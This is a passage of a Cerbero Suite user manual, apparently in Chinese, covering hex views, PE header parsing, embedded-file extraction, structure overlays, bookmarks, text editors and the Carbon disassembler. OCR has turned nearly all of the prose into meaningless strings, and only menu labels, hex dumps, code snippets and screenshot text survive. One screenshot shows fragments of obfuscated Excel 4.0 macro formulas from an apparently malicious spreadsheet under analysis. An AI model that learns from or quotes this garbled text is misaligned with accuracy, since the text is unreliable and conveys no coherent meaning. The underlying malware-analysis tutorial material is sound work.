« RTERRD (Intrinsic Threats) : RN RAR _ EEEGRIEM. B0, ATHRITXHZ
B LEENE, AJRSIANR—MER, RAelgIRTEEEE

- &5 (Warnings): BEXARN A REFENETRMEIRE, XEEFADTERS
M EENG, BFEXE,

« F2Fh (Privacy): #EHMKRPEIEERANBELBIBRES, BEXE,

{8 (Information) : B&—fRESMTHIE, URFTE2ESEHMEFIRIEMR
BEA T

- 4% (Online): BEMTELRFRNNER, AR SXELERTENTRFAIA,

4.10.1 #ERFEINE

ENEERBRPBIE, REMNLTXERERIREFE Remove’ W, AT, XARF
M R AV E XL,

Remove Del

© 2024 Cerbero Labs 53



L5 BRERATREHE,

4.10.2 %h0 CARBON RCETH

AT LB TR Ay’ New Disassembly- -+ A HEI X RN Carbon RCRINE
&, JUUFERFERRE T AESEARITIRE

-

(. MNew Disassembly...

Ctrl+Alt+C

BREWHRHENFRAILLES 21 Carbon LRI B XEL, S 1MNNERILUZEAARE
RIBRIAZEN, Ltkoh, RIATERI—RCRD B RS ERARRERIZRM,

A] LU BIBRE 38101 B — PR R TR E

4.11 EXRE

BIVE RS SR RS IUEX IR,

= Format g X
Filter...

¥

S5ERREMMERM, EAEEE—IXATESE, TATRE

© 2024 Cerbero Labs

i E Dos Header

Nt Headers
File Header
Optional Header

¢ Data Directories

i1 Section Headers
W Import Directory
i Resource Directory
W Security Directory
l Relocation Directory
W |AT Directory

[ %
L LT L

EABHBITE.

54



4.12 HETE

BEMBER— 1 ENRATEREMRENXXR LI AME: FEIE. &FERR.
LI TRERE S P HYIE A LA Az Python H print” BRIEXEVIEA A,

— Output
Hello from Python

413 SR ME

DITMEEA—MREHIASE, RBNHUT=MRRER: BREWAE. HEAE
METLE. EATERBEENMERI; Bk, EFA—TRENTE, RIEFMER
BRTREMAE,

MNEE LRFRERFET B Al UEDITMEFERAENERER, fl0, fREEZD
MBrRIEEREM— &R, MA—TIMENAEIBTRXAERE,

413.1 ¥R

PTMEREB AR —INBE EMZSIRNEME, KT EZINEEM, F190, PDF &ILAIRT
KEUER—2TREFRUZFH AR EN, IUEFHRIBF K, BESEREUEN
hex X AKE, HEFHRAUIEAFNRENESR, LIEFFARNIRERN, BEWAR
EMRE, FrEXLEEHER—SITMER LT,

L Analysis [6.0]

0x Hex | Ux Raw data Text | 4 Tree

Offset 01 2 3 4 5 & 7 8 ¢ » B C D E F ASCII

00000000 36 20 30 20 6F 62 6A OR 3C 3C OA 2F 54 79 70 65 6.0.0bj.<<./Type <-Dict/value
00000010 20 2F 58 4F 62 6A 65 63 74 OA 2F 53 75 62 74 79 ./XObject./sSubty

00000020 | 70 &5 20 2F 49 6D 61 67 65 0R 2F 57 69 64 74 68 pe./Image./Width

00000030 | 20 31 30 32 34 OA 2F 48 65 69 €7 €8 74 20 31 30 .1024./Height.10

00000040 | 32 34 0A 2F 42 69 74 73 50 65 72 43 6F 6D 70 6F 24./BitsPerCompo

00000050 6E 65 6E 74 20 38 0A 2F 43 6F 6C €F 72 53 70 61 nent.8./ColorSpa

00000060 | 63 65 20 2F 44 65 76 69 63 65 52 47 42 0A 2F 53 ce./DeviceRGB./S

00000070 | 4D &1 73 €B 20 33 35 20 30 20 52 0A 2F 4C 65 6E Mask.35.0.R./Len

00000080 | 67 74 €8 20 31 30 30 33 36 30 20 20 20 20 OA 2F gth.100360..... /

00000090 46 69 éc 74 65 72 20 2F 46 6C 61 74 65 44 65 63 Filter./FlateDec

000000R0 6F 64 65 OA 3E 3E 0A 73 74 72 65 61 6D OA 78 DA ode.>>.stream.x. <-Dict/Value - Stream Data
000000B0 EC 9D 07 78 54 65 Fé FF AF EC AR 6B C7 55 DC B5 ...xTe.....k.U.. <-Stream Data
000000C0 | EE SR 56 C5 55 F8 D9 70 65 5D F5 8F 65 57 A5 28 .ZV.U..pe]..eW.(

00000000 1A A4 28 20 4D 85 80 34 A5 87 50 14 30 D2 21 A1l ..(.M..4..P.0.!.

000000E0 | 85 50 12 CA A4 90 46 TA 32 49 66 32 49 80 74 42 .P....Fz2If2I.tB

4132 BRMRIFE

Y MBREMMEFIEFR—INREY, PITHNESERARINGE, XEARSEUATXT
FKPKE: R ERATHRAENR, EERTERTRE—FINER, HtNEFETF
FREEMXNRER, HITEREMBNREGIREUNE—RFI N REZHIRE,
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4.13.2.1 BLEHRE

METERMRTHRVFAES, SFEEZR. A\ iHEHAIINE hash. XFHETE]
BLURNERFENER. L5, MRATA, EIERNRARNEEIELEBIECET AR S
REIEREIT R,

X Hex Text | [} Overview

Name: kerneB2.d
Size: 1500160 hytes (1.431 MBs)

Format: PE
SHA-256: 9EE1AD3D6F86D37824D1B821771EASS9D14ED4FF65SACAFF4ECOD80004DBC6487 Data Type Quotas
Created: Thu Jan 19 11:58:32 2023 (UTC: Thu Jan 19 11:58:32 2023 GMT)
Modified: Fri Aug 14 10:06:39 2020 (UTC: Fri Aug 14 09:06:39 2020 GMT) 100.00%
Accessed: Thu Jan 19 11:58:32 2023 (UTC: Thu Jan 19 11:58:32 2023 GMT) Format Data
Type: Portable Executable 64 (AMD x64)
Version Information:
CompanyName: Microsoft Corporation
FieDescription: Windows NT BASE API Clent DLL
FieVersion: 5.2.3790.1830 (srv03_sp1_rtm.050324-1447)
InternalName: kemel32
LegalCopyright: © Microsoft Corporation. Al rights reserved.
OriginaFlename: kernel32
ProductName: Microsoft® Windows® Operating System
ProductVersion: 5.2.3790.1830|
Foreign Data Entropy
8
6
4
2
0 T T T T T T
0 200 400 600 800 1000

— I RAEI S &R R YRR

BIVHIE: BT NRBERIAME D

IPREIRE: FETHRNEREN, EIERFIZR,

RS FB/RHMEE: BABRTHRN—ED, BBHERKS|IBIAER,
HEMXHIE. AikttBSERENRPIHE, BTFRIAN—I9, EFgEs
EERS. a0, MEFATEKBIRARNXADENLEEE,

4.13.2.2 HEX 5%

Hex ARE A+ B EFETHRHAR,

Ux Hex Text || | iOvervlew
Offset 0 1 2 3 4 5 6 7 8 $ A B C D E F ASCII

00000000 4D 5& 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.........noun.. <-Format Data
00000010 BB 00 00 00 00 00 00 0O 40 00 00 00 00 00 00 00 .

00000020 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 Q0 00
00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 F8 00 00 00
00000040 OE 1F BA OE 00 B4 09 CD 21 BB 01 4C CD 21 54 &8
00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is.program.canno
00000060 74 20 62 65 20 72 75 6E 20 8% 6E 20 44 4F 53 20 | t.be.run.in.DOS.
00000070 6D 6F €4 65 2E 0D 0D OA 24 00 00 00 00 00 00 00 mode....$.......

413221 iEEE

BRI R H HHERE B, +NHRIESARSEREEIR T X HRETERI RS
YNEBaLiaN

X Hex Text | Izl Overview

Offset 01 2 3 4 5 € 1 8 9 A B CDEF ASCII
00000000 4D 5A S0 00 03 00 00 00 04 00 00 00 FF FF 00 00
00000010 BB 00 00 00 00 00 00 0O 40 00 00 00 00 00 00 00
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00
00000040 OB 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68
00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is.program.canno
00000060 74 20 62 65 20 72 75 6B 20 69 €E 20 44 4F 53 20  t.be.run.in.DOS.
00000070 6D &F 64 65 2E 0D 0D OA 24 00 00 00 00 00 00 00 mode....$.......

<-Format Data
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TR A E M7 B EIRY _E TR R Ranges” — “Jump To...” #1E,
B EREIERE,

Ranges > |[] visible
Layout 4 .
Select Contiguous Range  Ctrl+Alt+A
Duplicate View Ctrl+shift+D
To Text B Vi Ctrl+Shift+T Jump To.. Cri+)
ext browser view ri+5hirt+
° Jump to Previous Shift+F2

TR LA B RIHIRERE, HEERBIERENRNELFT T

Foreign Data ~

Jump To... - Cerbero Suite

Direction: Down -

Min. contiguous bytes: 1

Cancel

=2, T H L ER SFMEIH B RIS R SRR,

UX Hex Text | Lol overview
offset 01 2 3 4 5 6 7 8 9 A B C D E F ASCII
00083B60 B84 37 88 37 8C 37 %0 37 94 37 98 37 9C 37 AO 37 .7.7.7.7.7.7.7.7 <-Format Data
00083B70 A4 37 A8 37 AC 37 BO 37 B4 37 B8 37 BC 37 cO 37 .7.7.7.7.7.7.7.7
00083B80 C4 37 cC 37 DO 37 D4 37 D8 37 DC 37 EO0 37 E4 37 .7.7.7.7.7.7.7.7
00083B%0 00 38 18 38 30 38 54 38 78 38 A0 38 CO 38 D8 38 .B.808T8xB8.8.8.8
00083BA0 F4 38 10 39 38 39 3C 39 44 39 48 39 4C 39 54 39 .B.989<9DYHSLOTS
00083BBO 5C 39 60 39 64 39 6C 39 70 39 74 39 78 39 7C 39 | \9°9d919p9t9x9|9
00083BCO B0 39 84 39 88 39 8C 39 90 39 94 39 9C 39 A0 39 | .9.9.9.9.9.9.9.9
00083BD0 R4 39 A8 39 BO 39 B4 38 B8 3% BC 39 C0 3% c4 39
00083BEQ  CB 39 cC 39 DO 3% D4 39 D8 39 DC 39 E0 39 E4 39
00083BF0  ES 39 EC 39 F0 39 F4 39 F8 39 00 00 00 00 00 00  .9.9.9.
00083C00 D 53 43 46 00 00 00 00 EO D3 04 00 00 00 00 0O .. <-Foreign Data
00083C10 2C 00 00 00 00 00 00 0O 03 01 01 00 06 00 00 00 ,
00083Cc20 00 00 00 00 9D 00 00 00 1B 00 01 00 6C 50 01 00
00083C30 00 00 00 00 00 00 1E 53 95 A5 20 00 30 00 00 72
00083c40 09 00 6C 50 01 00 00 00 1E 53 2A A5 20 00 75 30
00083C50 00 FC 2E 00 00 6C C2 OA 00 00 00 1E 53 6D A4 20

B RFRFEBANELEUE, 1BEA L T SCREHPHY Ranges” — “Select Contiguous Range”
1218,

Ranges > |[v] visible
Layout 2 :
Select Contiguous Range ~ Ctrl+Alt+A
Duplicate View Ctrl+Shift+D
To Text Vi Ctrl+Shift+T T Uk ctri+)
o fext View Jump to Previous Shift+F2
/ Filter... Ctrl+T Jump to Next F2

413222 FRINFHER

FHRIAEESTAEREIE, HIREEHSHBIMMET file system viewo, BM+751#
FIMERIRFHER, BETEMEFHRIFAFRIERL, NRFITFHIE, WFX
KIANERNHBIME RN S HIREERE ST UENREERTE. EXMIE
MTE, ETFXFEBERIEHIN A Child Object” 3£,

Add Child Object Ctrl+E
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WRER T R, N _E TR EAHRIIMENRIEE#ATIE /97 Add Selection as Child Object”s

Add Selection as Child Object Ctrl+E

TR IERIRZARANM, LR IERF E R — 1T IEE, ERUEEPIEEFHREIZ
R VAT EFIRE NN 37828, Cerbero Suite %13 B EHHE F I RAVET
HIEZFREIENED,

Select a format... - Cerbero Suite — ol

ccccccccccc

NREREEMARIN N M RFITHAI (FINRIE. MEESE. BEF), WAILUEEFRR
B T IEER.

) |

asc1r

HIAXEESS, AN RBERERRENREF, ERILLEREFIED .

“ Hierarchy 8 x
Fiter.

Name
4 @ python-3.9.7-amd64.exe
4y Archives
L3 [SUB] python-3.9.7-amd64.exe (offset:0x83C00 size:0x1B0SFF8)
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41323 XAIRE

NRARETE text browser view HER T RHAS,

" x Hex ” D Text H u Overview ‘

16680 //

16681 // File header format.

16682 //

16683

16684 ~ypede’ struct  IMAGE FILE _HEADER {
16685 WORD Machine;

16686 WORD NumberOfSections;

16687 DWORD TimeDateStamp;

16688 DWORD  PointerToSymbolTable;
16689 DWORD NumberOfSymbols;

16690 WORD SizeOfOptionalHeader;
16691 WORD Characteristics;

16692 } IMAGE_FILE HEADER, *PIMAGEiF[LEiPEADER;
16693

4.13.2.4 [RIREUEIRE

FIHIERERER, (NEBIMNRERENFEFRERNBRENA SHI, EXME
A, WRERERRER, RGEBUEREZRMH T - #H B e E R ERR
HgEo

‘: Ux Hex ” Ux Raw Data H o Text “ u Overview |

Offset 01 2 3 4 5 & 7 8§ 9 A B C D E F ASCII

00000000 43 57 53 0B SF F2 02 00 78 8C D4 FC 75 58 55 4F | CWS..... X...uXUo
00000010 FB 36 BA CF DE 74 77 48 83 B4 20 682 R4 82 B4 20 | .6...twH........
00000020 29 AD R4 R4 74 97 B4 0A 43 R7 34 48 77 23 21 48  )...t...J.4Hw#!H

00000030 4B 87 80 94 84 80 82 74 49 97 F2 DB 94 F0O 79 CF | K...... tI..... V-
00000040 F7 77 DE EB 3A E7 9F F3 6E 2F 60 E2 BE EF 79 D6  .w..:...n/ ...y.
00000050 33 CF CC %4 59 7B 6D CE 00 682 0C 00 38 6F 00 6E | 3...¥{...... go.n
00000060 78 C3 8B E1 08 01 00 44 21 27 BO OF 3E 37 2C 0% | =x...... D.'..>7,.

4.13.2.5 TEIRZ

SRS REXAXERIFEENR (NEG) BT,

‘:0)( Hex H  Text :H:ut)vemm Hahevm \

Suffix pattern : up to 8/16 bytes of DO
User allocation : the infix pattern can be €0 (allocated and
user did ot request zeroed block) or FO (free).

Prefix end magic : DCBABBBB if allocated and DCBABBEA f free.
Block information : user size, real size, stack trace.

Prefix start magic: ABCDBBBB f allocated and ABCDBBBA if free.
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4.13.2.6 NEIRE

ANERZRATREXMGRAEN R

(x Hex Text | ol Overview | L) Explore

2 Xl
Name 1l Overview Name

 disk 0x Hex Name autorun.inf
i boot Path fautorun.inf
. css =l size 146 bytes (146 bytes)
 dists [@ Hashes File Type inf File
W doc 2 Medialnfo Detected Format ?
W EFI MD5 Double click here to calculate the hash
W firmware {3 YARA SHA-1 Double click here to calculate the hash
W install SHA-256 Double click here to calculate the hash
i installamd
W isolinux
W pics
i pool
W tools

" g2ldr

4.13.2.7 MIIDAREE

MRAERBHFENNE, FI180, Microsoft Excel IHIEMIMNARE 2 RE B TR,

0x Hex Text | Jull Overview |~ Spreadsheet
P bQ DR
=RUN($HU3%1/6)
1641
TR FALSE
=CALL(SCKS76,$GJ$1365,"1JCCI)",0,BB...
FALSE
1643 =CALL($BM$1238,$J§1035,"1JCCCCJ",0,...
16aa FALSE
=HALT(
<
[BVkFvmazLtsgS] (macrosheet) | [LQNYbgMN] ) | Maco2) ) | [Maco3) ) | [Sheett] (worksheet)
Defined names | Formulas
Exclude functions
RUN/GOTO [¥] CHAR [¥] CONCAT
Index Formula
“BukFvmzLtsgS'1BB54 =$CT$1938
‘BukFvmzLtsgS'IDQ1642 =CALL(SCK$76,$GJ$1365,"JJCCII",0,$BB$54,$AD$1751,0,0)
‘BVkFvmzLsgS'IDQ1643 =CALL($BM$1238,5/$1035,"JCCCCI",0,$DJ$1692, SADS1751,0,0)
“BukFvmzLtsgS'IDQ1644 =HALT)

4133 S

PITEORHNSMIEEEER, ERAFEBEEREHAE. HEAEMNRIIEZ
[BIFTLEIHR, fERRSANETAF LULRA A /E RO 2 2 FIfE D TR AIE,

Navigation | Actions Views Tools Help
4 Go Back in Analysis View Ctrl+Shift+Left
& Go Forward in Analysis View Ctrl+Shift+Right
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f5gn,

B
B

anp

fela, &R

S

‘g

1%

(/7

BREHEHE

SAURFRER

R EE

“ Herarchy 5| & Anayss (mport Drectory)
Module Name Inports Original. TimeDateStamp ForwarderChain
s 00001578 000011AC 00001180 00001184
. 00000000 () 00000004 00000004 00000004
4 ExceptionTest.cxe — — —
= 8 Documents MSVCR120.411 21 0002420 00000000 00000000
Configuration File 1 [lang:1033] || KERNEL32.d11 8 00002308 00000000 00000000
< >
4 Suromary s x
Intrinsic threats ~
4 Native Code: x64
Privacy
£ Debug Data Frs (zam Rint
e 00001178 00000E20 000014EC 00001422
00000008 00000008 00000002 00000012
@ Metadata: Medialnfo
8 148 020D GetSystenTineAsFileTine
5 Format 5 x
= 0000000000002738  0000000000002738 GetCurrentThreadrd
File Header ~|| 0000000000002
414 Optional Header 708 7 o
1 Data Directories I
Section Headers 000000 00000000000026D8 IsDebuggerpresent
i Import Directory.
4 Resource Directory
" Exception 00000000 0000000000002768 Decodeointer
4 Relocation Directory v

=10

5 x

“ Hierarchy

2 Analysis [Native Code: x64]

00001188
00000004

00002508
00002778

Y
A
&
A
'Y
A
'Y
A

oA B R RS B

FH—IMMBEEE T — &K,

FirstThunk

0000118C
00000004

00002048
00002000

Demangled

Fiter text:

tex
Name T

4 @ ExceptionTest.exe
4 Documents
» Configuration File 1 [lang:1033]

< >

L2 Summary

Intrinsic threa
Code: x64
Privacy

& Naf

& Debug Data
Information

@ Metadata: Medialnfo v :

1 Format.

1z

n

SR ERE,

0x140001000
0x140001000

:0x140001000 sub  rsp,

:0x140001004

0x140001004 loc_140001004

:0x140001004

:0x140001004 mov  eax, OxA

0x140001009 caq

:0x14000100A xor  ecx, ecx

:0x14000100C idiv  ecx

0x14000100E mov  edx, eax

:0x140001010 lea  rcx, [0x140002128]
:0x140001017 call qword ptr [0x140002118
0x14000101D Smp  loc_14000102D
:0x14000101D

:0x14000101F

0x14000101F loc_14000101F

:0x14000101F

:0x14000101F lea  zcx, [0x1400021C0]
0x140001026 call qword ptr [0x140002118
:0x14000102C nop

:0x14000102D

0x14000102D loc_14000102D

0x14000102D eax, eax

CODE XREF: 0x14000101D

ROz ERNERE, FREELRIIRS.

% Herarchy @ 5| | &4 Anayss (Import Drectory]
i Hodule Name Inports Original. TimeDatestamp Forwarderchain  Name  FirstThunk
Name 00001578 0011AC 00001180 00001184 00001188  0000L1EC
00000000 (m) 00000004 00000004 00000004 00000004 00000004
4 ExceptionTest.exe | —
= 8 Documents MSVCR120.411 2 00002420 00000000 00000000 0000250a 00002048
Configuration Fil 1 [lang:1033) || KERNEL32. d11 s 00002308 00000000 00000000 00002778 00002000
< >
4 Summary o x
Intrinsic threats ~
42 Native Code: x64
Privacy
& Debug Data Fos (1am) Name Denangled
e 00001178 00000820 0000145¢ 00001428
00000008 00000008 00000002 00000012
@ Vetadata: Medialnfo
IH 0 0274€ 020D GetSystenTineasFileTine x
s
0000000000002738 0000000000002738 0214 GetcurrentThreadld A
~1/0000000000002722  0000000000002722 0210 GetCurrentprocessid A
0000000000002708  0000000000002708 0430 QueryPerformanceCounter 'Y
0370 Y
o3en ! o NA
o125 'Y
0000000000002768  0000000000002766  00FF. Decodeointer X

I YR Spa g )
NENBLT DihdiE, £8P E%BEREN

5

(o}

MAZTh, MARERLETXEHE,
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4134 PBE

%ﬁﬁﬁﬁul$m—Aﬁ%ﬁﬂmmm,%ﬁﬁﬁ%@:é%%%ﬂﬁi?%ﬁﬁﬁ
B,

@ Open Global Bookmarks Ctrl+Alt+B
Open Bookmarks Ctrl+Shift+B
Add Bookmark Ctrl+B

-~

ANPBER, BRI —IIEE, RIFEEERENIMFER, SERIM. BEB8FE
. EFERREISFLTXEMITE. EEATUEERERENZFBE 2 1TIE,

- Add Bookmark - Cerbero Suite - 0

Global Local

Name
bookmark name

Timestamp
4/10/2024 4:48 PM

Value
4D534346

4D534346

Comment

Jump to analysis

Save Cancel

PEA UGS WEF, HAIAREINXHRPLUETEE,

“ Hierarchy @ Global Bookmarks £ €

Name Timestamp Value
|bookmark name Wed Apr 1... 4D5343 |7

New Folder  Ctrl+P

Edit... Ctrl+E
Delete Del
Delete All

<
Find... Ctrl+F

"1 Sirmmany

NRBLZREBEKEZI DIE, ERUEBESRET. ERXFNBZFROEZSEHF
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BPRSHERBI DT R EL,

“ Hierarchy @ Global Bookmarks &

Name Timestamp Value

4 4 My Folder
bookmark name  Wed Apr 1... 4D534

4135 FIPRISIRILE

B URERITAZ DM E. EFTA— NI D ITME], £ Open New Analysis

View’o
++ Open New Analysis View Alt+Shift+A

AFERBENSTMEER T HaNEsRNMAE, EEN DR EREE RERFER
BB ERX T,

4.13.6 HHEBFRRMREEIE

HAEERRANRNBEZZARS IO NAE EFTFAFHAE S0 rIE fF,
ERATEERBNERMNRIFH R

HAR, IMIKFREE—THRINER, ERIUAHE §IEBE H FNFHR.

4.14 F7NHFIRE

T 7 G REZ Cerbero Suite FRIMUEIENRE ST EZZ—, RETIFZINEME
ZRREM,
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4.14.1 BEFEHIEREFRNERS

EREEHIBREFEIMRE, BFER LT XEEFRH Copy’ — *Copy Into New File’ 11E,

Copy ' Copy Ctrl+C
Edit 4
- ASCII
Position b
: UTF-8
Find 4
UTF-16-LE
Select 4
. UTF-16-BE
View 4
Print v Hex
Screenshot » Hex (Inverse)
Ranges 3 Base64
Layout » Editor
Duplicate View Ctrl+Shift+D Offset (Hex)
To Text View Ctrl+Shift+T Offset (Dec)
7 Filter... Ctrl+T Copy Into New File

4.14.2 BHEEHIEETHNE

EiE hex IBRIRAXE, FEFERM G ZE, RIRWVAZEBM ETXHEEAIEEFE To
Text’ 1IN, XIFGBEI— Y text browser viewo ZMESBohIR34EEE, BINREE,
eI B E,

To Text Browser View Ctrl+Shift+T

S—M7EEFER Bytes To Text” ¥ HRIZ(F,

4.14.3 YRIBEUE

ERMIEXR, FIEMERIRITANERMEEMAERRGEIE, AMARRAIEEER
RS, A, +NHEGMBRITFRERRERE, BREREBIETIHRENR, XEHE
TheefE A P el LUGEHME R EdE, FE/ERT LGB "Copy Into New File” 2B E R EIH
&2, NATEEHEF.

Undo Ctrl=Z

Cut Ctrl+X
Copy Ctrl+C
Paste Insert Ctrl=V
Paste Write Ctrl+Alt+V
Insert Bytes Ctrl+]
Delete Del
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4.14.4 FHIMBHR

RA TIFHIR XRFAFRER ETXH, BIGZLR] LUER’ Add Root Object” #1°Add
Selection as Root Object” M7 HIFIERIRAERRIMEIT R

L' Add Selection as Root Object

4145 *HmE

TN B E R LUR IR E X BRI Rt HR.
BEIEMIMEITER, BET/ B E PRS0 EIEHER Add Interval’s

Copy
Edit s
Position ©
Find o
Select

View

Print

Screenshot 'l - PR
L@~ PR...#z.NG..
« 6 a n

Ranges 3
Layout "B select.. Ctrl+L
Duplicate View Ctrl+Shift+D Import
To Text Browser View Ctrl+Shift+T Rename...

/ Filter.. Ctrl+T &) Add Interval Ctrl+M
Make Selection an Embedded Object Ctrl+E & Add structure Ctrl+Alt+M

L' Make Selection a Root File [ """"""" e

e, BHI—MWEE, G UEEREERBTRENRITMEE,

! Add Interval - Cerber...n

Description: \Dos Header

Color: Color

Randomize color

oK Cancel

AfE, BRTEFE T/ EEREFA I,

offset 01 2 3 4 5 & 1 8 9 A B C D E F ASCII

00000000 | 4D SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 | MZ.............. <-Dos Header
00000010 | B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00

00000020 | 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 | ...

00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 | ...

00000040 OE 1F BA OE 00 B4 0% CD 21 B8 01 4C CD 21 54 &8
00000050 | 69 73 20 70 72 6F 67 72 61 6D 20 €3 61 6E 6E €F is.program.canno
00000060 | 74 20 62 65 20 72 75 6B 20 69 6E 20 44 4F 53 20 t.be.run.in.DOS.
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B LA{E A Select...” SREBIZEMBMBERE.

Layout " B Select... Ctrl+L

Duplicate View Ctrl+Shift+D Import

To Text View Ctrl+Shift+T Export

Filt Ctrl+T Detach
Z |riter... . ™ Rename...

Make Embedded Object Ctrl+E
[ Make Root File & Add Structure Ctrl+Alt+M
e

A Remove Item Ctrl+Del

Layouts’ MIFEARVFEME. Eav&. WER. SAMSHER. FINERT, BREEF
FEHRIBE R, SANNSHHERENFERRTB ZBEZH/HESI T TR Z5ME
R RREFIHEIFEEER, XA LUHEEENME,

< Layouts - Cerbero Suite

unknown_2024/04/12) ~ Rename  Ctrl+N
Delete Del

Export..  Ctrl+E
Import...  Ctrl+l

4.14.6 WELES

EEESRMBPITENMRE, ATLUEEERE Inspector’ SERIE(EF T AT ENESS,

E 1 t
= Inspector

mRERESMURHINTRITHENER, ERFERE 51,

£ Inspector

Dos Header

4.14.7 4K

BR T IEIRR, EHARILUBEER £ TFGEREHRY Add Structure’ #1ER7R B ARNIZE,

oF Add Structure Ctrl+Alt+M
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LR B R— T IEE, ERUEEPERESEMINEX M. HEmeFigER

PR WIRZBERA) , UNIEERBTRIERMEE,

o+ Add Structure - Cerbero Suite - B
% Header: |'WinNT -
# Name Type )
1 _IMAGE_DOS_HEADER struct
2 _IMAGE_052_HEADER struct
3 _IMAGE_VXD_HEADER struct
4 _IMAGE_FILE_HEADER struct
5 _IMAGE_DATA_DIRECTORY struct
6 _IMAGE_OPTIONAL_HEADER struct
7 _IMAGE_ROM_OPTIONAL_HEADER struct
8 _IMAGE_OPTIONAL_HEADER64 struct y

Type: |_IMAGE_DOS_HEADER
Offset: 00000000 Array: 0 S

Endianness: defaut -

Pointer size: 64 - Description:

Packing: 1 - Color
Compiler: GCC < |E| Randomize color
Platform: none -

OK Cancel

—BREMRMEIGREY, BaERRRCERNEHITIOE,

2 nspector
_IMAGE_DOS_HEADER

WinNT: IMAGE DOS_HEADER
= - Name Offset

w
<
5

[

e magic 00000000
e_cblp 00000002
e cp 00000004
e_crlc 00000006

524D
0090
0003
0000

‘

S 48T Header Manager TEBIE, ZT BN C/C++ RIZLUIREGEY, HEE

M PDB i XX 4t T H B S ST
ST AL F AP B headers” B FH 3 miI0 H 1,

o+ Add Structure - Cerbero Suite - 0

% Header: |WinNT -
None
# [Project Header]
Other...
1 _I
2 _IMAGE_0S2_HEADER struct

’[Project Header]” MV B ST H AWM B PRIA X . BEREWSNENZLX G,
WA M DT TYEX B 55 Header Manager T &,

A Manage Headers

ERILATE T H SDK TiH EHEIBEXAXAMEHNESER.
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https://sdk.cerbero.io/Structures.html

415 MAFERE

XAFNTRER—MRIRAE, SEBREREXE, XEMETEINNLRMUTF AR

B, AXFEEER.

x Hex Text i_i Overview

16680

16681 File header format

16682

16683

16684 _IMAGE FILE HEADER |
16685 WORD Machine;

16686 WORD NumberOfSections:

16687 DWORD TimeDateStamp;

16688 DWORD  PointerToSymbolTable;
16689 DWORD NumberCfSymbols;

16690 WORD SizeOfOptionalHeader;
16691 WORD Characteristics;

16692 } IMAGE FILE HEADER, *PIMAGE FILE_HERDER;
16693

4.15.1 MX7A4RES

S5XARERE, AR SEE TS B R T SR X ARSI 5 . 1&IEER 7l

A, BXAEFNEMEMH7SEENEFTF B XA wES R E G,
BEINARD, BEM LT X ERIEE Encoding’s

X ER— P IEE,

Encoding

EA] IR E kR A TR AR ZRED 75 T

Select encoding... - Cerbero Suite

IBM870

IBM871

IBM918
1S0-10646-UCS-2
1SO-10646-UCS-4
150-2022-CN
150-2022-CN-EXT
1S0O-2022-JP
150-2022-JP-1
1S0-2022-)P-2
150-2022-KR

A

1SO-8859-1

1S0-8859-10
1SO-8859-13
150-8859-14
1SO-8859-15
1S0-8859-2
1SO-8859-3
1S0-8859-4
1SO-8859-5
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4152 EEE=
&R LUMER £ TR X ANIE EE =,

ur

T cress
ass
#include <fentl.h> Dalvik
#include <sys/mman.h> avt
Dart
#if !defined (MAP_ANONYMOUS) & Go )
# define MAR_ANONYNOUS MAP AN |
#endif ava
JavaByteCode
#ifndef MAP_NORESERVE JavaScript
+ define MAP_NORESERVE 0
tendif JSON
Julia
#define MMAP(addr, size, prot Kotlin
mmap ((addr), (size), (prot I ONYMOUS |[MAP_PRIVATE, -1, 0)
- ua -
MachODyld
Select All Ctrl+A MSIL
Begin Selection... Objective-c |
Go to Line Ctrl+G Perl
Find... Cil+F PHP
View Pc\:erShell
Language A
B R
Encoding
Ruby
Open in Editor  Ctrl+Shift+E Rust
Save to Disk Ctrl+Alt+0 Scala
INTERNAL_SIZE_T mchunk,  Shell
saL
mallec_chunk* fd; Swift
malloc_chunk* bk; wi
TrueType
* Only used for large bloc| Typeq
malloc_chunk* fd mex " .

4153 PFARABREFIHE

BTN B RERNABTREFRGE, BM ETXEBRIER Save to Disk’

: Save to Disk Ctrl+Alt+0O

4.15.4 FIHATRIBXARE

NRFBRIEXA, ERLUEE ETFXEEERE Open in Editor’ IERBIASITHA—1
FE A RE,

: Open in Editor Ctrl+Shift+E

416 XAME

XAMERTERAIRENXE, SXANEMRERR, EMNHIERITRTLEREX
Zi N
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4.16.1 EEE=

53X AR EARE

4.16.2 REFFEEE

_EF,

#define clear_inuse bit_at_offset]
(44 *)

(((mchunkptr) (p)) +

set_head

set_head(p, s)

fo
set_foot (p, s)

ne

#pragma
raom | Undo Ctri+z
Redo Ctrl+y
R Cut Ctrl+X
Copy Ctrl+C
Paste Ctri+Vv
Delete
* Select All Ctrl+A
View ,
Language »
Code ,
N Find... Ctrl+F
. Replace..  Ctrl+H
Save to Disk ~ Ctrl+Alt+O

£

c#
C/C++

css

Dalvik

Dart

Go

Java
JavaByteCode
Javascript
JSON

Julia

Kotlin

Lua
MachODyld
MsIL
Objective-C
Perl

PHP
PowerShell
Python

R

Ruby

Rust

Scala

Shell

saL

Swift
TrueType
Typel

BRI LUMER L T XREBERXARE LS R,

\
ze &= ~(PREV_INUSE))

((p) ->mchunk_size & SIZE_BITS) | (s)))

+ (s)))->mchunk_prev_size = (s))

BERXANBENANBTREFREE, M ETXERERIERE Save to Disk’s

:Save to Disk

4.17 CARBON RCHEME

Ctrl+Alt+0O

Carbon & Cerbero Suite PFEEN—IERRCEEAR, KITHEFTMNZHEIXEEIRE
BRI 2 RICRIES.

.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
ctext:

0x140001004 loc_140001004:
0x140001004

0x140001004 mov eax, OxA
0x140001009 cdg

0x14000100A xor ecx, ecx
0x14000100C idiv ecx
0x14000100E mov edx, eax
0x140001010 lea rcx, [0x1400021B8]
0x140001017 call

0x14000101D Imp loc_14000102D
0x14000101D

0x14000101F

0x14000101F loc_14000101F:
0x14000101F

